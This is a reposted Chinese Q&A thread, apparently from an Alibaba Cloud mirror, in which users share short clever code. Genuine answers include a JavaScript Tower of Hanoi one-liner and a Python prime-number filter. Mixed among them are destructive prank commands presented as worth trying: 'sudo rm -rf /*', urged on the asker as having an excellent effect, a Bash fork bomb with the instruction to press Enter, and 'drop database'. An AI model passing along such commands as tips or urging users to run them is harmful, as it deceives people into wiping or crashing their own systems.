自己寫過哪些簡短但很牛逼的代碼?

來源:互聯網
上載者:User

回複內容:

js 115個字元的漢諾塔演算法
n=4;(function m(n,f,t,s){if(n>1||console.log(f+'>'+t)){s=6-f-t;m(n-1,f,s);console.log(f+'>'+t);m(n-1,s,t)}})(n,1,3)

改變第一個變數n的值,就可以改變漢諾塔的階數。

下面是在瀏覽器控制台中啟動並執行效果
sudo rm -rf /*
題主一定要試一試,效果拔群print ' '.join(map(str,filter(lambda x:not[x%i for i in range(2,x/2+1) if x%i == 0],range(2,101))))

python一行代碼解決1-100所有素數的求解。效率我沒有測試過,在pythontips答題時候寫的

-----------------

贊,感謝 @禦子柴麻美子 的測試,效能不算好,10000以內比較快,10 0000 以上就不好使了

感謝At 一葉知秋(At不到,知乎的檢索功能有點弱~),lambda x: not any( x%i for i in range(2,x/2) ) ,y用any()也很好,any()支援python2.5以上版本zshrc的各種aliasprint("牛逼")drop databasesave / write
每次配完交換器都得敲,不敲就白弄了。main(){main();}Linux下輸入:


:(){ :|: & };



然後斷行符號mian...
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.